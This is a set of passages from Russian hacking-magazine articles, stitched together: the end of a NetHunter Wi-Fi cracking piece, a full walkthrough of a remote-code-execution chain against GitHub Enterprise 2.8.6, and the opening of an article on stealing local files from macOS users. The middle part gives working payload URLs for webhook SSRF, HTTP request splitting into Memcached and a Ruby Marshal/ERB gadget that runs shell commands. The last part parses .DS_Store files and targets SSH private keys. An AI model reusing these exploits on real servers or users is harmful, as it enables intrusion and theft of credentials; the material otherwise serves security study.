питыва лись  на  столь  же  ста рых  филь мах,  герои  которых  вели  слеж ку  неп‐ 
ремен но  из  боль шого фур гона  с  огромным  количес твом  антенн  и мас киру‐ 
ющей над писью «Дос тавка пиц цы».

ЧТО ДАЛЬШЕ?
NetHunter пред лага ет мно жес тво инс тру мен тов, и опи сать их в рам ках одной
статьи невоз можно. В сле дующих стать ях мы рас смот рим уско рен ные тех ники
взло ма  точек  дос тупа,  узна ем  сек рет  «Аль фы»,  добавим  мощ ности  нашему
дон глу,  научим ся  ата ковать  скры тые  сети,  обхо дить  филь тра цию  по  MAC‐
адре сам и най дем упра ву на кор поратив ные AP, шиф рующие фрей мы.

WWW

•NetHunter, сбор ки
•NetHunter, APK
•Nexus Rootkit Tool
•TWRP Manager

https://www.blackmoreops.com/
https://xakep.ru/2017/04/28/wifi-hacking-exploration/
https://github.com/charlesxsh/mdk3-master
https://github.com/offensive-security/kali-nethunter/tree/master/nethunter-fs/dictionary
https://github.com/rbeede/distributed-wpa-cracking/raw/master/files/wpa_psk-h1kari_renderman.torrent
https://hashcat.net/hashcat/
https://github.com/hashcat/hashcat-utils/releases/
https://hashc.co.uk/cap2hccapx
https://www.offensive-security.com/kali-linux-nethunter-download/
https://images.offensive-security.com/latest.apk
http://www.wugfresh.com/nrt/
https://play.google.com/store/apps/details?id=com.jmz.soft.twrpmanager&hl=ru
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ВЗЛОМ

Кри тичес кая  уяз вимость  в  кор поратив ной  вер сии  популяр‐ 
ней шей сис темы кон тро ля вер сий GitHub поз воля ет любому
авто ризо ван ному  поль зовате лю  выпол нять  про изволь ный
код в сис теме. Для экс плу ата ции этой уяз вимос ти тре бует ся
при менить сра зу нес коль ко тех ник: инъ екцию в кеширу ющий
сер вис и внед рение объ ектов.

ОБЩИЕ СВЕДЕНИЯ
Не  так  дав но  я  уже    об  уяз вимос ти  в  GitHub  Enterprise.  Тог да  из‐за
исполь зования ста тичес кого клю ча для под писи дан ных в сес сии любой поль‐ 
зователь, в том чис ле и ано ним ный, мог выпол нить про изволь ный код в сис‐ 
теме. Проб лему успешно запат чили пос ле оче ред ного релиза, но не прош ло
и нес коль ких месяцев, как эксперт в области информа цион ной безопас ности

 обна ружи вает еще одну кри тичес кую уяз вимость. В этот раз ее мож но
про экс плу ати ровать  толь ко  от  име ни  авто ризо ван ного  поль зовате ля,
у которо го име ются пра ва на соз дание репози тори ев или на управле ние уже
сущес тву ющи ми.

пи сал

Orange

Кор поратив ная вер сия GitHub неверо ятно популяр на. Я натыка юсь на нее
бук валь но  на  каж дом  вто ром  круп ном  ауди те.  Важ ность  получе ния  дос тупа
к  сер веру  с  исходни ками  про ектов  труд но  пере оце нить,  поэто му  такие
машины всег да  в  при ори тете при пен тесте. Что дела ет  эту  уяз вимость обя‐ 
затель ной к изу чению и при мене нию.

СТЕНД
С тес товым окру жени ем все доволь но прос то. GitHub пре дос тавля ет проб ную
вер сию сво его про дук та сро ком на 45 дней. Нам это го как раз дол жно хва тить
для того, что бы разоб рать ся с деталя ми проб лемы.

 уяз вимую вер сию при ложе ния (2.8.6) в фор мате перено симой
вир туаль ной машины OVA (Open Virtualization Archive), затем 
и выбира ем GitHub on‐premises. Пос ле под твержде ния акка унта и авто риза‐ 
ции кача ем файл лицен зии .ghl, который пот ребу ется на эта пе уста нов ки.

Ска чива ем
ре гис три руем ся

Заг рузка фай ла лицен зии в про цес се уста нов ки GitHub Enterprise

Для работы с вир туаль ной машиной я исполь зую VirtualBox. Пос ле успешной
уста нов ки нуж но нас тро ить саму вир туал ку. Нам нуж но добавить два допол‐ 
нитель ных  дис ка  и  ука зать  IP‐адрес,  по  которо му  будет  дос тупен
веб‐интерфейс.  Я  выб рал  Host‐Only  networking  в  качес тве  типа  сетево го
адап тера.

Пос ле  успешно го  запус ка машины  перехо дим  по  ссыл ке 
  и  про ходим  про цесс  уста нов ки.  На  этом  эта пе  нас‐ 

тоятель но  рекомен дую  сге нери ровать  и  добавить  свой  SSH‐ключ  и  обя‐ 
затель но вклю чить воз можность регис тра ции новых поль зовате лей. Сис тема
будет  при ходить  в  рабочее  сос тояние  доволь но  дол го,  поэто му  наберись
тер пения.

https://айпи‐
адрес:8443/setup

Вир туал ка с GitHub Enterprise, готовая к экспе римен там

Пос ле  успешно го  запус ка  вир туал ки  перехо дим  к  сле дующей  час ти  нашего
прик лючения.

ПЕРВЫЕ ШАГИ
Про дукт написан на солян ке из раз ных язы ков прог рамми рова ния. Но в боль‐ 
шинс тве  сво ем  мы  можем  наб людать  здесь  Ruby  с  исполь зовани ем  Ruby
on Rails и веб‐фрей мворк Sinatra.

Преж де  чем  копать ся  в  нед рах  при ложе ния,  нуж но  про вес ти  деоб фуска‐ 
цию  исходни ков.  Раз работ чики  решили  прик рыть  их  от  любопыт ных  глаз
и  даже  написа ли  свою  биб лиоте ку  для  обфуска ции.  В  осно ве  алго рит ма
лежит  обыч ный  XOR  с  клю чом 

  и  сжа тие
по алго рит му deflate.

This  obfuscation  is  intended  to  dis‐
courage GitHub Enterprise customers from making modifications to
the  VM.  We  know  this  'encryption'  is  easily  broken.

Ис ходни ки GitHub Enterprise в обфусци рован ном виде

Про читать под робнее про это ты можешь, погуг лив с зап росом 
.

__ruby_con‐
cealer__

Все это мы про делы вали в прош лый раз, и   на Ruby для авто мати‐ 
чес кой  деоб фуска ции  сор цов  до  сих  пор  дожида ется  тебя  в  моем  репози‐ 
тории.

скрип тик

Я не зря говорил о добав лении сво его клю ча. Теперь нуж но вой ти с ним
на  машину  по  SSH:  порт  122,  поль зователь  admin.  Ска чива ем  и  запус каем
скрипт деоб фуска ции из дирек тории   и нес коль ко минут спус тя получа‐ 
ем чис тые исходные коды.

/data

Ис ходник, про шед ший деоб фуска цию

Ес ли не хочет ся замора чивать ся со все ми эти ми стен дами и тес тирова нием,
но есть желание взгля нуть на исходни ки, то, спе циаль но для тебя, я   их
на фай лооб менник. Наде юсь, ребята из GitHub не силь но оби дят ся.

за лил

Те перь, ког да стенд запущен и работа ет, нуж но зарегис три ровать нового
поль зовате ля и соз дать свой пер вый репози торий.

Уз нава емый интерфейс GitHub

ДОРОГА К ЭКСПЛОИТУ. SSRF
В GitHub есть такая вещь, как хуки. Это мод ная нын че шту ка, которая поз воля‐ 
ет опо вещать внеш ние сер висы о каких‐либо событи ях в сис теме. Нап ример,
при добав лении нового ком мита сис тема может отсту кивать о его парамет‐ 
рах на ука зан ный тобой адрес. Нас тра ивает ся это в раз деле Hooks & Services
из меню Settings тво его репози тория.

Нас трой ка Webhooks

По ле URL  в фор ме  добав ления  хука  выг лядит  в шаб лоне  сле дующим обра‐ 
зом.

/data/github/4ff81e7/app/views/integrations/hooks/_webhook_‐
form.html.erb

10: <dl class="form‐group required">
11:   <dt><%= form.label :url, "Payload URL" %></dt>
12:   <dd>
13:     <%= form.text_field :url, :placeholder => "https://example.
com/postreceive", :class => "js‐hook‐url‐field", :autocomplete => "
off", :type => "url" %>
14:   </dd>
15: </dl>
...
31: <p class="flash flash‐warn invalid‐url‐notice">
32:   <%= octicon("alert") %>
33:   <strong>This doesn’t look like a valid URL.</strong>
34: </p>

При добав лении URL дол жен прой ти ряд про верок.
/data/github/4ff81e7/app/models/hook.rb

043:   validate :hook_is_unique
044:   validate :webhook_url_is_valid
...
354:   def hook_is_unique
...
362:     if not_unique
363:       GitHub.stats.increment("hooks.duped")
364:       errors.add(:base, "Hook already exists on this #{repo_h
ook? ? "repository" : "organization"}")
365:     end
366:   end
...
518:   def webhook_url_is_valid
519:     return unless webhook?
520:
521:     if config["url"].blank?
...
532:     limit = self.config_attribute_records.columns_hash['value'].
limit
533:
534:     if url.length > limit
535:       errors.add(:base, "Config URL must have no more than #{
limit} characters")
...
539:     begin
540:       Addressable::URI.parse(url)
541:     rescue Addressable::URI::InvalidURIError => message
542:       errors.add(:base, "Config URL is invalid: #{message}")
543:       return
544:     end
545:   end

Скрипт не допус кает наличия оди нако вых хуков в рам ках одно го репози тория
и  про веря ет,  что бы  дли на  адре са  не  была  боль ше  допус тимой.  И  глав ная
про вер ка на валид ность самого адре са при помощи биб лиоте ки  .Addressable

Ме тод   пар сит передан ный URL и про веря ет его
на соот ветс твие спе цифи каци ям RFC 3986, RFC 3987 и RFC 6570. Это зна чит,
что мы можем отправ лять  зап росы  на  любые  сер веры. Никаких  дру гих  про‐ 
верок адре са не выпол няет ся.

Addressable::URI.parse

Толь ко  вот  при  попыт ке  исполь зовать  локаль ные  адре са  localhost,
127.0.0.1 и  тому подоб ные сис тема воз вра щает ошиб ку  Invalid  host. Одна ко
не локал хостом еди ным! Эту ошиб ку мож но обой ти, прос то исполь зуя адрес

 или сок ращен но  .0.0.0.0 0
Да вай про верим, как это работа ет. Пос тавим на прос лушку порт 31337 (

) на вир туал ке. И затем соз дадим веб‐хук, ука зав в качес тве
URL  .  Пос ле  нажатия  кноп ки  «Добавить»  к  нам
незамед литель но при лета ет зап рос.

nc
‐lp 31337 ‐vvv

http://0.0.0.0:31337/test

SSRF в GitHub Enterprise. Отправ ка зап роса на локаль ную машину

Мо жем  поз дра вить  себя,  мы  обна ружи ли  SSRF‐уяз вимость.  Да  не  прос тую,
а которая еще и показы вает ответ сер вера, если он офор млен как валид ный
HTTP response.

Те перь нуж но при думать, что с ее помощью мож но сде лать.
Я  нес прос та  так  рьяно  пытал ся  про бить ся  на  localhost.  GitHub

Enterprise —  это  боль шое  и  слож ное  при ложе ние,  поэто му  внут ри  кру тит ся
некото рое  количес тво  вспо мога тель ных  сер висов.  Взгля ни  на  одну  толь ко
стро ку ста туса.

За пущен ные сто рон ние сер висы

Тут нам и «Элас тик», и «Редис», и «Мем кеш». Выбирай — не хочу!
Нач нем с Memcached. Про токол обще ния с ним тек сто вый, поэто му мож но

поп робовать  про вес ти  инъ екцию.  Поп робу ем  про вер нуть  раз деление  зап‐ 
роса (HTTP Request Splitting), для это го соз дадим хук с сим волами перево да
карет ки.

http://0:31337/Hello%0D%0Aworld

Про вер ка ата ки HTTP Request Splitting

Не выш ло. Лад но, не отча иваем ся, на этом сер вере еще есть чем поживить‐ 
ся.

Продолжение статьи →

https://xakep.ru/2017/05/05/exploit-rce-github-enterprise/
http://blog.orange.tw/
https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.6.ova
https://enterprise.github.com/trial
https://gist.github.com/allyshka/0a837cfaf75fce20db9db3164dd119f7
https://mega.nz/#!44cFwAAY!vvc-V3WVFi6L1rA3lCi2W6JD-__f7HImOu0kAziBsrE
https://github.com/sporkmonger/addressable
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПОИСК ПОДХОДЯЩИХ СЕРВИСОВ
Те перь  нас тало  вре мя  пос мотреть  на  откры тые  пор ты.  Выпол ним  коман ду

.sudo netstat ‐anp | grep ‐i LISTEN

Спи сок запущен ных сер висов, которые слу шают порт

Вот  такой  вну шитель ный  спи сок  сер висов,  которые  дос тупны  по  сети.  Есть
где раз гулять ся, даже порт 1337 открыт ;)

Ес ли  пом нишь,  я  говорил,  что  SSRF  поз воля ет  читать  ответ.  Это  мож но
исполь зовать во вре мя тес тов на про ник новение по методи ке чер ного ящи ка.
Нап ример, пос мотрим, что находит ся на прес ловутом пор те 1337. Соз дадим
хук  ,  откро ем  его  и  прос крол лим  до  Recent  Deliveries.  Там,
во  вклад ке  Response,  мож но  уви деть  ответ  от  сер вера.  Если  хотим  заново
отпра вить зап рос, то к вашим услу гам кноп ка Redeliver.

http://0:1337/

Прос мотр отве та на SSRF

Мы  явля емся  счас тли выми  обла дате лями  дос тупа  к  сер веру,  поэто му
для  более  удоб ной  про вер ки  каж дого  сер виса  я  рекомен дую  про кинуть
на вир туал ку прок си с помощью SSH. Так я и сде лал. Теперь, исполь зуя бра‐ 
узер, мож но пос мотреть, что там кру тит ся.

Сер висы, которые дос тупны через веб

Не буду ходить вок руг да око ло и ска жу, что нас инте ресу ет Graphite, который
висит на пор те 8000. Этот сер вис исполь зует ся для отсле жива ния парамет‐ 
ров работы при ложе ний и  демонов,  а  так же их  сбо ра  и  пос леду ющей  визу‐ 
али зации. Нап ример, он поз воля ет стро ить гра фики исполь зования ресур сов
про цес сора.

В  этом  сер висе  есть  любопыт ная фун кция,  которая  поз воля ет  отпра вить
пись мо и прик репить к нему кар тинку со ста тис тикой, ука зав при этом ее URL.
Толь ко  вот URL  необя затель но  дол жен  вес ти  на фотог рафию. Никаких  про‐ 
верок пра виль нос ти адре са нет.

/opt/graphite/webapp/graphite/composer/views.py

094: def send_email(request):
095:   try:
096:     recipients = request.GET['to'].split(',')
097:     url = request.GET['url']
098:     proto, server, path, query, frag = urlsplit(url)
099:     if query: path += '?' + query
100:     conn = HTTPConnection(server)
101:     conn.request('GET',path)
102:     resp = conn.getresponse()
103:     assert resp.status == 200, "Failed HTTP response %s %s" % (
resp.status, resp.reason)
104:     rawData = resp.read()
105:     conn.close()
...
110:     text = MIMEText( "Image generated by the following graphite 
URL at %s\r\n\r\n%s" % (ctime(),url) )
111:     image = MIMEImage( rawData )
...
114:     message.attach(image)
115:     s = SMTP(settings.SMTP_SERVER)
116:     s.sendmail('composer@%s' % gethostname(),recipients,message.
as_string())

Для  дос тупа  к  URL  исполь зует ся  класс  HTTPConnection  из  стан дар тной
питонов ской биб лиоте ки httplib. То есть мы наш ли еще одну уяз вимость SSRF,
толь ко на этот раз HTTP‐кли ент под вержен ата ке типа request splitting.

От прав ка пись ма дос тупна по ссыл ке:

http://127.0.0.1:8000/composer/send_email

Все необ ходимые парамет ры мож но передать методом GET.
Про верим пра виль ность наших пред положе ний. Добавим веб‐хук 

.

http://
0:8000/composer/send_email?to=none@local.visualhack&url=http://0:
31337/Hello%0D%0Aworld

HTTP Request Splitting в дей ствии

Те перь все работа ет отлично, и через такую двой ную SSRF мы смо жем про‐ 
экс плу ати ровать инъ екцию в Memcached.

В ПОИСКАХ НУЖНЫХ КЛЮЧЕЙ
Что бы  най ти  инте рес ный  ключ  для  записи  в  Memcached,  нам  нуж но  пос‐ 
мотреть,  какие  типы  дан ных  кеширу ются  и  каким  обра зом.  Вот  нес коль ко
атри бутов клас са Memcached из все го мно гооб разия того, что нам инте рес‐ 
но.

/data/github/4ff81e7/vendor/gems/2.1.7/ruby/2.1.0/gems/mem‐
cached‐1.8.0/lib/memcached/memcached.rb

04: class Memcached
...
07:   DEFAULTS = {
08:     :hash => :fnv1_32,
...
38:     :codec => Memcached::MarshalCodec,
...
55:   }

По ле    —  это  наз вание  клю ча,  по  нему  его  мож но  зап росить  из  базы;
 опре деля ет, в каком фор мате записы вают ся дан ные в клю че. По умол‐ 

чанию для хра нения исполь зует ся «мар шализо ван ный» объ ект. Мар шалинг —
это  механизм  сери али зации  объ ектов  в  Ruby,  под робнос ти  ты  най дешь 

.

hash
codec

в
докумен тации

Фор мат  Marshal  раз реша ет  сох ранение  объ ектов  и  их  пос леду ющее
исполь зование пос ле заг рузки. То есть если мы сох раним некие спе циаль но
сфор мирован ные  дан ные,  то  пос ле  того,  как  при ложе ние  про чита ет  ключ
и обра тит ся к ним, они выпол нятся.

Но к это му мы еще вер немся, а сей час нуж но най ти такие дан ные, которые
дер гают ся из кеша.

Дан ные при ложе ния из Memcached

Об рати  вни мание,  кеширу ются  поис ковые  зап росы  поль зовате ля.  Фор мат
клю ча такой:

<название_класса>/queries/<тип_поискового_запроса>:<sha_хэш>:v<
внутренняя_версия_поискового_апи>:<тип_хранящихся_данных>

Вот так это выг лядит в коде.
/data/github/4ff81e7/app/models/search/query.rb

340:     #   cache_key
341:     #   #=> 'search/queries/code_query/<some_sha>'
...
344:     def cache_key
345:       sha = Digest::SHA1.new
346:       sha.update(query_document.to_s)
347:       sha.update(query_params.to_s)
348:       "#{self.class.name.underscore}:#{sha.hexdigest}:v#{search
_content_cache_version}"
349:     end

Вот один из клю чей со скрин шота выше:

githubproductionsearch/queries/repo_query:be70f93697873eeb04181adb
a21d90ebabe7c143:v3/results

Су дя по фор мату, в этом клю че хра нят ся резуль таты поис ка по репози торию.
При чем хеш счи тает ся от передан ных для поис ка дан ных, то есть для каж дого
зап роса он будет уни каль ным.

По иско вые зап росы быва ют нес коль ких типов.
/data/github/4ff81e7/app/view_models/search/query_helper.rb

65:     # Lookup a Query given the key String. The allowed keys are:
66:     # 'Repositories', 'Code', 'Issues', 'Users', and 'Wikis'.
67:     #
68:     # key ‐ The query type key as a String.
69:     #
70:     # Returns a Query or nil if the key is invalid.
71:     def []( key )
72:       case key
73:       when 'Code'; code_query
74:       when 'Issues'; issue_query
75:       when 'Repositories'; repo_query
76:       when 'Users'; user_query
77:       when 'Wikis'; wiki_query
78:       end
79:     end

Да вай поищем текст   в раз деле Repositories и пос мотрим на соз данные
сис темой клю чи.

ggggg

За кеши рован ные резуль таты поис ка

Для сох ранения резуль татов поис ка, а точ нее — количес тва най ден ных объ‐ 
ектов  сге нери ровал ся  ключ 

.  Поп робу‐ 
ем обно вить его, что бы переза писать объ екты.

githubproductionsearch/queries/code_‐
query:857be82362ba02525cef496458ffb09cf30f6256:v3:count

Для соз дания записей в Memcached мож но исполь зовать коман ду  .SET

SET <название_ключа> <флаг> <время_жизни_ключа> <размер_данных>

Пос ле  коман ды  сле дуют  сами  дан ные  клю ча.  Они  завер шают ся  двой ным
перено сом сим вола карет ки.

С  помощью  най ден ной  ранее  двой ной  SSRF  поп робу ем  внед рить  свои
дан ные  и  пос мотреть  на  резуль тат.  Сна чала  сге нери руем  объ ект  Marshal.
Это мож но сде лать с помощью сле дующе го кода (резуль тат поис ка — экзем‐ 
пляр клас са ActionView::OutputBuffer).

buf = ActionView::OutputBuffer.new("<h1>INCLUDED</h1>")
print "Length: #{buf.length}"
print "Data: #{CGI::escape(Marshal.dump(buf))}"

Мы получим дли ну дан ных и сами дан ные, которые прош ли URL‐кодиро вание,
что бы  их  мож но  было  передать  с  помощью  GET‐зап роса.  Вот  что  у  меня
получи лось:

Length: 17
Data: %04%08IC%3A%1DActionView%3A%3AOutputBuffer%22%16%3Ch1%3EINCLU
DED%3C%2Fh1%3E%07%3A%06ET%3A%0F%40html_safeT

Ге нера ция дан ных для внед рения в ключ Memcached

Фор миру ем  адрес  веб‐хука,  который  будет  добав лять  ключ  с  нуж ными  дан‐ 
ными.

http://0:8000/composer/send_email?to=root@github.visualhack&url=# 1 
SSRF
http://127.0.0.1:11211/%0D%0A # 2 SSRF & HTTP Request Splitting
SET+githubproductionsearch/queries/code_query:857be82362ba02525c
ef496458ffb09cf30f6256:v3:count+0+60+17%0D%0A # key name
%04%08IC%3A%1DActionView%3A%3AOutputBuffer%22%16%3Ch1%3EINCLUDED%3C%2
Fh1%3E%07%3A%06ET%3A%0F%40html_safeT%0D%0A%0D%0A # key data

По луча ется вот такой хук:

http://0:8000/composer/send_email?to=root@github.visualhack&url=http:
//127.0.0.1:11211/%0D%0ASET+githubproductionsearch/queries/code_query
:857be82362ba02525cef496458ffb09cf30f6256:v3:count+0+60+17%0D%0A%04%
08IC%3A%1DActionView%3A%3AOutputBuffer%22%16%3Ch1%3EINCLUDED%3C%2Fh1%
3E%07%3A%06ET%3A%0F%40html_safeT%0D%0A%0D%0A

До бав ляем его в репози торий, обновля ем стра ницу с поис ком 
 и видим наш внед ренный код.

http://gitent.vi‐
sualhack/search?q=ggggg&type=Repositories

Код, внед ренный в стра ницу поис ка с помощью Memcached

Те перь дело за RCE.

ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА
Раз берем ся с тем, как мож но выпол нить код, исполь зуя класс Marshal. В Ruby
on Rails пред став ления опи сыва ются при помощи шаб лонов Embedded Ruby
(ERB).  Класс  ERB  счи тыва ет  ‐файл  и  генери рует  объ ект  ERB.  Содер‐ 
жимое шаб лона копиру ется в перемен ную @src. Пос ле вызова метода 
код, находя щий ся в этой перемен ной, выпол няет ся.

.erb
result

/lib/erb.rb

889:  def result(b=new_toplevel)
890:    if @safe_level
891:      proc {
892:        $SAFE = @safe_level
893:        eval(@src, b, (@filename || '(erb)'), @lineno)
894:      }.call
895:    else
896:      eval(@src, b, (@filename || '(erb)'), @lineno)
897:    end
898:  end

По это му пер вым шагом к успешной экс плу ата ции явля ется соз дание экзем‐ 
пля ра объ екта ERB. В   отправ ляем нуж ный нам код на Ruby.@src

:poc.rb

cmd = "uname ‐a > /tmp/owned" # команда для выполнения на сервере
template = ERB.allocate
template.instance_variable_set :@src, "%x(#{cmd})"

Ос талась  неболь шая  проб лемка.  Нуж но  каким‐то  обра зом  зас тавить  ново‐ 
испе чен ный  объ ект  авто мати чес ки  выз вать  метод  .  Для  это го  мож но
вос поль зовать ся  клас сом    из  модуля  Active‐
Support в Rails. Он нужен для объ явле ния перемен ных уста рев шими.

result
DeprecatedInstanceVariableProxy

При его вызове при ложе ние вер нет пре дуп режде ние о том, что перемен‐ 
ная уста рела, а магичес кий метод   вызовет метод, ука зан ный в  .send @method

/activesupport/lib/active_support/deprecation/proxy_wrappers.rb

089:     class DeprecatedInstanceVariableProxy < DeprecationProxy
090:       def initialize(instance, method, var = "@#{method}", 
deprecator = ActiveSupport::Deprecation.instance)
091:         @instance = instance
092:         @method = method
...
098:         def target
099:           @instance.__send__(@method)
...
102:         def warn(callstack, called, args)
103:           @deprecator.warn("#{@var} is deprecated! Call #{
@method}.#{called} instead of #{@var}.#{called}. Args: #{args.
inspect}", callstack)

Прев ратим эти зна ния в код.
poc.rb

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.
allocate
proxy.instance_variable_set :@instance, template
proxy.instance_variable_set :@method, :result

Те перь мар шализи руем  ,  и  вот  он,  готовый  экс пло ит.  При  вос ста нов‐ 
лении  это го  объ екта  будет  выз ван  метод  ,  который,  в  свою
оче редь, исполнит ука зан ный нами в cmd код.

proxy
ERB::result()

ПРАКТИКА ЭКСПЛУАТАЦИИ
По ра  соб рать  все,  что  мы  узна ли,  в  одну  боль шую  ата ку.  Для  удобс тва  я
написал  , который ты можешь пос мотреть и сра зу же выпол‐ 
нить пря мо в окне бра узе ра.

экс пло ит на Ruby

В перемен ной cmd ука зыва ем нуж ную коман ду для выпол нения, нап ример
. Нажима ем Run, получен ный URL копиру ем. Затем

соз даем новый веб‐хук в нас трой ках репози тория и встав ляем адрес в поле
Payload URL. Сох раня ем нас трой ки хука (1).

uname ‐a > /tmp/owned

Те перь  в базу Memcache  записал ся  ключ с  нашим пей лоадом на  выпол‐ 
нение  коман ды  (2).  Что бы он  сра ботал,  нуж но  этот  ключ  выз вать. Для  это го
выпол няем  поиск    в  раз деле  репози тори ев

 (3).
ggggg

http://gitent.visualhack/search?q=ggggg&type=Repositories

Экс пло ит отра ботал успешно. Коман да выпол нена

Ко ман да  успешно  выпол нилась  от  име ни  поль зовате ля  ,  и  файл
с информа цией о сис теме соз дался.

git

ДЕМОНСТРАЦИЯ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ (ВИДЕО)

https://vimeo.com/228343242

ВЫВОДЫ
Поз драв ляю, мы толь ко что прош ли через целую цепоч ку багов и про экс плу‐ 
ати рова ли сис тему. Через двой ную SSRF, исполь зуя ата ку HTTP Request Split‐
ting, мы внед рили в «Мем кеш» ключ, который содер жал спе циаль но под готов‐ 
ленный  объ ект  Marshal.  Затем  мы  спро воци рова ли  вызов  закеши рован ных
дан ных, и при их вос ста нов лении выпол нился код, зашитый в объ ект Marshal.

Те перь  ты  сам  с  лег костью  смо жешь  находить  и  экс плу ати ровать  уяз‐ 
вимос ти, зат ронутые в статье. Если же ты адми нис три руешь такой сер вер, то
пос пеши  обно вить ся  до  пос ледней  вер сии  GitHub  Enterprise.  На  момент
написа ния статьи это была 2.10, и там уяз вимость исправ лена.

https://ruby-doc.org/core-2.4.0/Marshal.html
http://gitent.visualhack/search?q=ggggg&type=Repositories
https://github.com/ruby/ruby/blob/ruby_2_4/lib/erb.rb#L889
http://api.rubyonrails.org/classes/ActiveSupport/Deprecation/DeprecatedInstanceVariableProxy.html
https://ruby-doc.org/core-2.4.0/Object.html#send-method
https://github.com/rails/rails/blob/master/activesupport/lib/active_support/deprecation/proxy_wrappers.rb#L89
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ВЗЛОМ

Пред ставь  ситу ацию:  ты  откры ваешь  HTML‐документ,
и через какое‐то вре мя фай лы с тво его жес тко го дис ка ока‐ 
зыва ются у зло умыш ленни ка, при том абсо лют но незамет но.
Докумен ты,  код,  SSH‐клю чи,  пароли… Сло вом,  уле тают  все
фай лы,  которые  ты,  как  текущий  сис темный  поль зователь,
име ешь пра во читать. Ска жешь, невоз можно? Сов ремен ный
бра узер  дол жен  тебя  защитить?  Да,  но  у  некото рых  из  них
есть свои осо бен ности.

В общих чер тах ата ка работа ет сле дующим обра зом.
1. Поль зователь откры вает HTML‐стра ницу в бра узе ре.
2. Бра узер чита ет спи сок име ющих ся на компь юте ре поль зовате ля фай лов.
3. Бра узер чита ет «важ ные» фай лы и заг ружа ет их на уда лен ный сер вер зло‐ 
умыш ленни ка.  При  этом  для  поль зовате ля  весь  про цесс  оста ется
незамет ным.

Раз делим ата ку условно на два эта па:
по луче ние информа ции о фай лах уда лен ного компь юте ра;•
са мо чте ние и отправ ка на наш сер вер.•

На пер вом эта пе мы дол жны каким‐то обра зом узнать спи сок инте ресу ющих
нас фай лов на компь юте ре поль зовате ля. Проб лема в том, что никако го внят‐ 
ного  спо соба сде лать  это нет. Ни один бра узер не даст  тебе с HTML‐стра‐ 
ницы про честь локаль ную дирек торию   и спи сок фай лов на рабочем сто ле.~/

Ты кать ся  наугад  —  тоже  не  вари ант:  да,  мы  зна ем  нес коль ко  «важ ных»
путей  вро де  ,  но  в  боль шинс тве  слу чаев  фай ловая  сис тема
поль зовате ля, откры вающе го нашу «злую» стра ницу, — тем ный лес.

~/.ssh/id_rsa

На вто ром эта пе мы, имея пол ный набор путей, дол жны каким‐то обра зом
вый ти  за  гра ницы  песоч ницы  бра узе ра,  про честь  локаль ные  фай лы  и  заг‐ 
рузить к себе на сер вер.

WARNING

Вся  информа ция  носит  толь ко  озна коми тель ный
харак тер. Ни автор, ни редак ция не несут ответс‐ 
твен ности за ее ненад лежащее исполь зование.

ИЗВЛЕКАЕМ СПИСОК ФАЙЛОВ
MacOS име ет забав ную осо бен ность. Если ты откро ешь дирек торию с фай‐ 
лами, опе раци онная сис тема соз даст спе циаль ный скры тый файл — 

.  Этот  файл  хра нит  нас трой ки  прос мотра  пап ки  в  macOS,  вклю чает
в себя информа цию о рас положе нии окна пап ки, раз мере окна, опции прос‐ 
мотра,  которые были выб раны  (знач ки, спи сок или  таб лица), и внеш ний вид
знач ков  в  окне.  Сис тема  соз дает  эти  фай лы  авто мати чес ки.  Дру гими  сло‐ 
вами, опе раци онная сис тема кеширу ет информа цию о фай лах для быс тро го
отоб ражения дирек тории.

.DS_S‐
tore

В   попада ют превью изоб ражений  (как скры тый файл 
 в Windows), но в отли чие от Windows в нем так же содер жатся име на фай‐ 

лов и дирек торий. Дос таточ но зай ти в дирек торию с фай лами, и опе раци онка
тут же соз даст  .

.DS_Store Thumbs.
db

.DS_Store

Слу жеб ный файл .DS_Store авто мати чес ки соз дает ся в дирек тории, ког ‐
да в нее заходишь

Что  в  этом  при меча тель ного?  А  то,  что    мож но  рас парсить
и получить наз вания всех фай лов в катало ге. Для это го подой дет одно имен‐ 
ный  модуль    для  Python.  Вот  при мер  кода,  реали зующе го  чте ние 

:

.DS_Store

DSStore .
DS_Store

#!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
   filelist = []
   for i in file:
       if i.filename!='.':
           filelist.append(i.filename)
   return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
   try:
       d = DSStore.open(path + name+ '/.DS_Store', 'r+')
       fileresult = parse(d)
       all.append(fileresult)
       print(json.dumps(fileresult))
   except:
       pass

Сох раним  этот  код  в  файл    и  запус тим.  В  моем  слу чае
резуль тат работы выг лядит как‐то так:

parse_ds_store.py

$ python parse_ds_store.py

["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle
_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", 
"Downloads", ".config", ".cache", "Applications", ".bash_sessions", 
"Creative Cloud Files", "PycharmProjects", "Applications (Parallels)"
, "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", 
"MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"
]

Что мы видим? А мы видим име на фай лов и папок в домаш ней дирек тории.
Узнав их, мож но обра щать ся к каж дой сле дующей дирек тории, искать 

 там и таким обра зом получать иерар хию фай лов и папок, не имея дос‐ 
тупа к лис тингу дирек торий.

.DS_S‐
tore

Для при мера пар сим домаш нюю пап ку ( ), получа ем подоб ное
содер жимое:

~/.DS_Store

["Backups", "Soft", "Pictures", ".ssh" ...]

Об раща емся к  , получа ем:~/Backups/.DS_Store

["2017", "2016", "2015", ...]

На сле дующей ите рации  :~/Backups/2017/.DS_Store

["source", "sql", "static", ...]

И так далее.
Па ра замеча ний:
те бе нуж но знать имя поль зовате ля в сис теме;•
файл   соз дает ся толь ко там, куда заходит поль зователь.• .DS_Store

В осталь ном все отлично работа ет. Теперь слу шай даль ше.

ПРЕДСКАЗЫВАЕМ ПУТИ ДЛЯ ЧУВСТВИТЕЛЬНЫХ ФАЙЛОВ
Что  же  еще  есть  цен ного  у  поль зовате ля?  В  пер вую  оче редь  дирек тория 

, куда обыч но сва лива ются зак рытые клю чи.
.

ssh
Для начала вспом ним о таких путях:

;• ~/.ssh/id_rsa

;• ~/.ssh/id_rsa.key

;• ~/.ssh/id_rsa.pub

;• ~/.ssh/known_hosts

.• ~/.ssh/authorized_keys

